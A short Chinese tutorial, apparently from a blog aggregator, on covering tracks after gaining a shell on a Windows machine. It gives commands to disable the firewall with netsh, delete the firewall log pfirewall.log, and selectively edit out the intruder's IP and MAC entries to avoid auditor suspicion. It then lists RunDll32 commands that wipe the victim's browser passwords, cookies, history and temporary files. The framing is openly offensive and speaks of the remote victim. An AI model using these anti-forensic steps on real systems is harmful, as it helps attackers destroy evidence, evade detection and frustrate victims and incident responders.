入侵Windows以后,删除防火墙记录

1、参考文章

2、推荐关注领英

前提环境:我们已经拿到了目标的shell,现在准备清理防火墙记录的痕迹。

cd logfiles/firewall
入侵Windows以后,删除防火墙记录_第1张图片
观察防火墙的当前目录
type pfirewall.log
入侵Windows以后,删除防火墙记录_第2张图片
读取防火墙日志
Netsh firewall set opmode mode= DISABLE
入侵Windows以后,删除防火墙记录_第3张图片
关闭防火墙
Del pfirewall.log

删除日志文件

type pfirewall.log

验证日志文件是否还在

注:这样是真的省事,可是少了大量日志记录,还是会被发现异常,所以删除带有自己访问记录的条目,或者修改日志内容是最好的选择。把自己的访问ip和,mac记录删除或者修改掉。

个人感觉,删除不是好的选择,你断开连接的时候,有的监管软件会记录你的离开,审核日志的时候,你有离开的记录,没有进入的记录,这就很让人怀疑了。

另:在远程受害者PC中删除Internet Explorer的密码/ Cookies /历史/临时Internet文件

参考文章

删除Internet临时文件
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8
删除cookies
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2
删除历史记录
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 1
从数据中删除
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 16
删除密码
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 32
删除所有
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 255
删除加载项存储的所有+文件和设置
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 4351

你可能感兴趣的:(安全)